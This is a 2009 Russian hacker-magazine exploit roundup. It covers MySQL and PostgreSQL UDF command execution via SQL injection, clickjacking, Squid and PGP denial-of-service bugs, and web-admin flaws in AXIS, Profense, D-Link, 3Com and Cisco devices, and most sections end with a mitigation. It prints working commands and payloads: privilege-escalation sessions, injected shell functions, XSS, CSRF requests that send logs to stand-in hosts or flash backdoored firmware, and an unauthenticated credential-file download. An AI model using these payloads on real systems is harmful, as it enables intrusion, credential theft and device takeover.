Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #123, МАРТ 2009 г.

Обзор эксплоитов

Андрей «skvoz» Комаров (komarov@itdefence.ru)

Обфускация статусбара в Mozilla Firefox («Clickjacking»)

BRIEF

Классификация атаки целиком и полностью относится к «спуфингу». Clickjacking, или так называемый «угон кликов» – относительно новая угроза со старым смыслом. Суть в следующем - юзеров обманом заставляют нажимать на невидимые элементы страниц в интернете (ссылки или диалоговые элементы), – что может вести к изменению правил безопасности на компьютере пользователя или к посещению опасных веб-сайтов. Метод не нов, однако свежие исследования свидетельствую о расширении программного обеспечения, в рамках которого пользователь может стать жертвой clickjacking. К примеру, в список попали все современные средства, активно применяющиеся при серфинге в Сети: Adobe Flash Player, Internet Explorer, Opera, Safari и Firefox. Сама вредоносная функция, из-за которой поднялся весь шум, состоит из мизерного количества строк:

function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}

Вызывается она через onclick="updatebox(event)", – после чего осуществляется скрытый редирект на сторонний ресурс. Такая маскировка имеет место и в других браузерах, например, Google Chrome.

TARGETS

  • Google Chrome 1.0.154.43/Mozilla Firefox 3.0.5/IE 7.0

EXPLOITS

  • http://seclists.org/bugtraq/2009/Jan/0268.html

SOLUTION

У браузера Firefox нет встроенных средств, которые помогли бы избежать этой напасти. Чтобы как-то обезопасить себя, пользователям предлагается установить специальный плагин Noscript. В IE 8 этим занимается XSSFilter, но аналогов NoScript для других браузеров не существует. В Opera борьба с «кликджекингом» складывается следующим образом. Так как наиболее популярный метод его эксплуатации – это расстановка ifrаme’ов, хорошо бы их запретить. Делается это в «Инструменты -> Настройки -> Дополнительно -> Содержимое -> Настроить стили». В появившемся диалоговом окне необходимо убрать галку с пункта «Включить inline-фреймы». Вводим в строке адреса opera:config, ищем слово IFrames и «Отключить элемент» (необходима перезагрузка браузера).

FULL-DISCLOURE. Исполнение команд в MySQL с помощью UDF-функций

BRIEF

Современные базы данных поражают функциональными широтами. Их сложность сравнима с работой операционной системы или отдельного языка программирования. Любая база данных тем или иным образом взаимодействует с операционной системой.

В MySQL можно создавать User-Defined функции (UDF) и с помощью них обращаться к окружению операционной системы, на которой эта база установлена. Такое «обращение» зачастую приводит к исполнению потенциально опасных команд. Что и было продемонстрировано пару лет назад в боевом эксплоите для выполнения неавторизированного кода с использованием баз – raptor_udf2.c (0xdeadbeef.info/exploits/raptor_udf2.c).

В целом, эксплуатация сводилась к следующему: с какими-либо заданными привилегиями хакер имеет доступ к базе. Иным вариантом могло быть действие по загрузке уже заведомо скомпилированного вредоносного кода – в качестве динамически подключаемой библиотеки (dybnamic-link library – Windows) или shared object (Unix/Linux-like) через load_file на сайте, к примеру, при использовании SQL-injection. Рассмотрим ситуацию локального доступа:

$ id
uid=500(raptor) gid=500(raptor) groups=500(raptor)
# собираем эксплоит
$ gcc -g -c raptor_udf.c
$ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o –lc
# лезем в базу, куда попытаемся засунуть динамическую библиотеку в формате .so
$ mysql -u root -p
Enter password:
[...]
# используем какую-либо базу, например, с именем “mysql”:
mysql> use mysql;
# создаем таблицу с хранящимися значениями в формате blob
mysql> create table foo(line blob);
# импорт библиотеки
mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
# метод запуска “malicious”-функции

mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
mysql> create function do_system returns integer soname 'raptor_udf.so';
mysql> select * from mysql.func;

+-----------+-----+---------------+----------+

| name | ret | dl | type |

+-----------+-----+---------------+----------+

| do_system | 2 | raptor_udf.so | function |

+-----------+-----+---------------+----------+

mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! Sh
# полученный шелл
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

Одним из весомых ограничений является работа только с базами MySQL ниже пятой ветки и разрешенной возможностью подключать динамические библиотеки. О том, как писать такие функции, можно узнать на ресурсе Ролана Баумана (mysqludf.org). Что касается нового метода повысить привилегии (с выполнением неавторизированного кода через базу), – замечу, что для начала следует обратиться к библиотеке lib_mysqludf_sys (mysqludf.org/lib_mysqludf_sys/index.php), которая предоставляет набор методов для непосредственного доступа к системе:

  • sys_exec – исполнение произвольной команды ex системы
  • sys_get – информация о получении переменной окружения
  • sys_set – создать или задать переменную окружения, обновить ее значение

Весь юмор в том, что функции могут быть использованы с базами MySQL 5.x. Важно помнить, что стандартный вывод предоставляет функция sys_eval, а не sys_exec. Вторая возвращает только код выполнения команды – 1 или 0. Исходя из этих соображений, подключаемый «боевой код» в виде нового эксплоита содержит незначительно пропатченную lib_mysqludf_sys, в которой sys_exec заменена на sys_eval.

$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
$ tar xfz lib_mysqludf_sys_0.0.3.tar.gz
$ cd lib_mysqludf_sys_0.0.3
$ sudo ./install.sh
# собираем подключаемый модуль
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so
MySQL UDF compiled successfully

$ mysql -u root -p mysql
Enter password:
[...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
1 row in set (0.02 sec)
# попробуем что-нибудь натворить, например создать файл
mysql> SELECT sys_exec('touch /tmp/test_mysql');
+-----------------------------------+
| sys_exec('touch /tmp/test_mysql') |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.02 sec)

mysql> exit
Bye
$ ls -l /tmp/test_mysql
-rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql

TARGETS

  • MySQL 5.0+

EXPLOIT

Скачать эксплоит можно на репозитории известной программы для проведения SQL-injection - svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/.

SOLUTION

Основное решение проблемы – запретить записи в актуальные директории, куда бы хакер мог залить скомпилированный эксплоит. Проделать это можно расстановкой прав доступа, а также – применив специальные программные средства, вроде AppArmor. Многие считают, что AppArmor – это WEB-application файрвол. На самом деле, возможности его гораздо шире, потому что основная задача проекта – внедрить дискреционный доступ (DAC) путем останова мандатов (MAC). Для каждого приложения можно создать свой профиль безопасности, в котором урезать многие вещи. Оцени разницу с включенным AppArmor:

sudo apparmor_status
[...]
1 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
1 processes are unconfined but have a profile defined.
/usr/sbin/mysqld (5128)

$ mysql -u root -p mysql Enter password:
[...]
# выполняем команду ID
mysql> SELECT sys_eval('id');
+----------------+
| sys_eval('id') |
+----------------+
||
+----------------+
1 row in set (0.12 sec)

Тишина!

mysql> select sys_exec('id');
+----------------+
| sys_exec('id') |
+----------------+
| 32512 |
+----------------+
1 row in set (0.01 sec)

mysql> exit
Bye
Работа с отключенным AppArmor:
$ sudo /etc/init.d/apparmor stop
Unloading AppArmor profiles : done.

$ sudo apparmor_status
[...]
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.

0 processes are unconfined but have a profile defined.

$ mysql -u root -p mysql
Enter password:
[...]
mysql> select sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
1 row in set (0.02 sec)

mysql> select sys_exec('id');
+----------------+
| sys_exec('id') |
+----------------+
| 0 |
+----------------+
1 row in set (0.10 sec)

Исполнение команд с PostgreSQL UDF

BRIEF

Ситуация с UDF повторяется в этом типе баз. Злоумышленник может создать злонамеренный вызов UDF и с его помощью исполнить на системе какие-либо команды (запустить программу, прочитать файл, удалить его, создать новый). В PostgreSQL это осуществимо несколькими методами. Самый «базовый» – заюзать стандартную функцию libc system(). Такой метод реализован в известном проекте, активно используемом при пентестах – pgshell (leidecker.info/projects/pgshell.shtml).
В чем состоит эксплуатация? Мы находимся в условиях функционирующей SQL-injection:

/store.php?id=1; <Injection>

Еще со времен Postgree SQL 8.1 можно создавать произвольные UDF-функции с подключением доступных обьектов. Например, так:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT.

Помни, что функция system() будет возвращать INT-значение, хотя нам нужно лицезреть стандартный stdout-поток. Для этого мы применяем такую уловку:

# создаем отдельную таблицу, куда будет попадать вывод
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) –

# создаем ту самую злодейскую функцию
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --

# исполняем какую-либо команду с перенаправлением вывода в доступную для записи директорию
/store.php?id=1; SELECT system('uname -a > /tmp/test') –

# копируем то, что осело после редиректа потока вывода в файл в таблицу system_out
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' –

# организуем вывод результата
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

Иной вариант затрагивает аспект использования Procedural Language Function (PL/tcl, PL/pl, PL/python). Соответственно, Postgree разрешает написание соответствующих функций на этих языках и использование их для выполнения операций в базе.

# проверяем, доступна ли работа с PL/Python в базе
/store.php?id=1; SELECT count(*) FROM pg_language WHERE lanname='plpythonu'

# если нет, попробуем включить
/store.php?id=1; CREATE LANGUAGE plpythonu

# если такая работа поддерживается, то смело создаем специальную функцию, которая будет принимать от нас запрос и интерпретировать на Python
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

# вызов функции с передачей параметров
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

Аналогично можно заюзать PL/Perl:

# проверка доступности PL/Perl
SELECT count(*) FROM pg_language WHERE lanname='plperlu'

# создаем специальную функцию CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu

# передаем команды в качестве параметров
SELECT proxyshell(os command);

TARGETS

  • PostgreSQL 8.2/8.3/8.4

EXPLOITS

  • http://milw0rm.com/sploits/2009-lib_postgresqludf_sys_0.0.1.tar.gz

SOLUTION

  • Действия аналогичны MySQL.

Squid < 3.1.5 отказ в обслуживании при парсинге редакции HTTP-протокола

BRIEF

Любой протокол в изобилии напичкан различными пакетами, флагами, модификациями пакетов. Многое из этого изменяют, совершенствуя протокол. Сей факт зачастую осложняет жизнь разработчикам, потому что требуется отслеживать и парсить, что может измениться, а что нет. Squid – известный кэширующий прокси-сервер – впечатляет своими возможностями по настройке функционала. Он поддерживает HTTP/HTTPS, FTP, Gopher. Отсутствие проверок в модулях HttpMsg.c и HttpStatusLine.c этих параметров приводит к Denial Of Service.

TARGETS

  • Squid 2.7 / 2.7 Stable
  • Squid 3.0/ 3.0 Stable 12
  • Squid 3.1/3.1.0.4

EXPLOIT

Уязвимости, столь смешной по простоте эксплуатации, но серьезной по наносимому в сетевой среде урону, даже был присвоен собственный CVE-номер (2009-0478) в базе уязвимостей, курируемой NIST. Рабочий эксплоит написан хакером Praveen Dar$hanam и опубликован на портале milw0rm (milw0rm.com/exploits/8021).

SOLUTION

Версии Squid, поставляемые вместе с коммерческой версией Red Hat Enterprise Linux, не затронуты. Обновления для всех уязвимых версий можно найти на www.squid-cache.org.

PGP Desktop 9.0.6 Local Denial Of Service

BRIEF

Недавно Максим Суханов описывал принципиально новую атаку на раскрытие информации, хранимой в крипто-контейнерах, в том числе и этой софтины. Теперь знаменитая PGP оказалась некомпетентна при обработке специально сформированной информации драйвером PGPwded.sys, – это приводит к локальному отказу в обслуживании и может обернуться уничтожением ценной информации. Исследование показало, что драйвер некорректно обрабатывает IOCTL (0x80022038):

  • Device Type: Custom Device Type: 0x8002, 32770
  • Transfer Type: METHOD_BUFFERED (0x0, 0)
  • Access Type: FILE_ANY_ACCESS (0x0, 0)
  • Function Code: 0x80E, 2062

Напомню, что IOCTL – это контроль ввода/вывода. Иными словами, системный вызов ioctl выполняет различные управляющие действия над обычными устройствами и псевдоустройствами (для файлов, не являющихся псевдоустройствами, действия зависят от устройства). Аргументы command и arg передаются в файл, ассоциированный с соответствующим дескриптором, и интерпретируются драйвером устройства. Кстати, после анализа крэш-дампа и исследования KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e), понимаешь, что присутствует аналогичная угроза падения в «синий экран». Обнаружить такие вещи можно с помощью фаззинга – известного метода тестирования приложений. Суть его состоит в том, что, играясь с приложением разными аномальными данными, можно выявить места переполнений и некорректной обработки информации. К драйверному уровню в этом плане применимы следующие проекты: IOCTL-proxy (orange-bat.com/code/ioctl-proxy.zip), kartoffel.(kartoffel.reversemode.com/downloads.php).

TARGETS

  • PGP Desktop 9.0.6 [Build 6060]

EXPLOIT

  • Рабочий эксплойт можно найти по адресу http://www.evilfingers.com/advisory/PGPDesktop_9_0_6_Denial_Of_Service_POC.php.

SOLUTION

Исправлений уязвимости пока нет.

Многочисленные уязвимости в ПО аппаратных сетевых устройств

BRIEF

Если нельзя взломать сам сервис, который расположен на машине, сервере, принтере или ином оборудовании, лазейкой может стать исследование его фронтенда (WEB-админки; панели управления, если она доступна). Вот список багов, которые тут были обнаружены:

Вендор: AXIS

  • AXIS 70U Network Document Server
  • Атака: XSS + локальный инклуд

Эксплуатация

XSS:

http://[server]/user/help/help.shtml?<script>alert('XSS')</script>
http://[server]/user/help/general_help_user.shtml?<script>alert('XSS')</script>

Локальный инклуд в модуле помощи (user/help/help.shtml), позволяющий читать любые файлы на сервере:

http://[server]/user/help/help.shtml?/admin/this_server/this_server.shtml

Вендор: Profense

  • Profense Web Application Firewall
  • Атака: XSRF / XSS

Эксплуатация

«Наш продукт защищает от всех угроз, описанных в десятке OWASP» - цитируем разработчиков проекта. Спорить с ними не будем, но вендор, защищающий от наиболее популярных WEB-угроз, сам же забыл позаботиться о своей безопасности!

Включаем SSH/SNMP:

<img src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=
10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=
10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=
4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&
ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=
scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&
scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
Apply new configurations:
<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>

Добавляем proxy:

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=
http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=
10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=
on&static_passthrough=on&action=add&do=save>

Отключаем всю красоту («гасим свечи»):

<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>

XSS:

https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

Вендор: DLINK

  • D-link VoIP Phone Adapter
  • Атака: перезапись «прошивки» устройства + XSS

Эксплуатация

Подготавливаем специальный файл для CSRF-нападения со «своей прошивкой»:

<html>
<form action="http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0"
method="POST">
<input name="page_HiddenVar" value="0">
<input name="TFTPServerAddress1" value="10">
<input name="TFTPServerAddress2" value="1">
<input name="TFTPServerAddress3" value="1">
<input name="TFTPServerAddress4" value="1">
<input name="FirmwareUpdate" value="enabled">
<input name="FileName" value="backdoored_firmware.img">
<input type=submit value="attack">
</form>
</html>

Применяем социальную инженерию и впариваем «товар» админу.

XSS:

http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E

Вендор: 3COM

  • 3Com OfficeConnect Wireless Cable/DSL Router
  • Атака: обход авторизации

Эксплуатация

Чтобы управлять устройством полноценно, требуется пройти жесткую авторизацию. Без нее стороннему пользователю запрещено просматривать какие-либо внутренние страницы. При более детальном исследовании ПО выявилось присутствие нескольких CGI-сценариев. Например, утилиты бекапа («System Tools -> Configuration -> Backup Configuration»). Любой, в том числе, неавторизированный пользователь, может обратиться к ней – и выкачать файл, который она генерирует (config.bin). А ведь божественное предназначение этой утилиты – создавать резервную копию данных, содержащую конфигурационные настройки, логины, пароли, wifi-ключи, snmp-пароли и многое другое.

http://<IP>/SaveCfgFile.cgi

Содержание config.bin:

pppoe_username=xxxxxxxxxxxxxxx
pppoe_password=xxxxxxxxx
pppoe_service_name=xxxxxxxxx
[...]
mradius_username=xxxxxx
mradius_password=xxxxxx
mradius_secret=xxxxxxx
[...]

Для решения проблемы требуется отключить опцию «Remote Administration»:

http://www.securityfocus.com/archive/1/500762/30/0/threaded.

Вендор: CISCO

  • CISCO IOS
  • Атака: XSRF/XSS

Эксплуатация

Проверяем наличие HTTP-сервера:

furchtbar#show ip http server status | include status
HTTP server status: Enabled
HTTP secure server status: Enabled
furchtbar#sh ip int br | i up
FastEthernet0/0 192.168.1.2 YES NVRAM
up up

XSS:

http://192.168.1.2/level/15/exec/-/"><body onload=alert("bug")>
http://192.168.1.2/level/15/exec/-/"><iframe onload=alert("bug")>
http://192.168.1.2/exec/"><body onload="alert('bug');">

CSRF (пример изменения):

http://192.168.1.2/level/15/exec/-/"><body onload=window.location='http://192.168.1.2/level/15/configure/-/hostname
/BUGGY/CR'>

Активный ресеч при обнаружении этих уязвимостей проявили: Digital Security Research Group [DSecRG], израильская команда BinaryVision, Luca Carettoni (luca.carettoni[at]ikkisoft[dot]com).

Содержание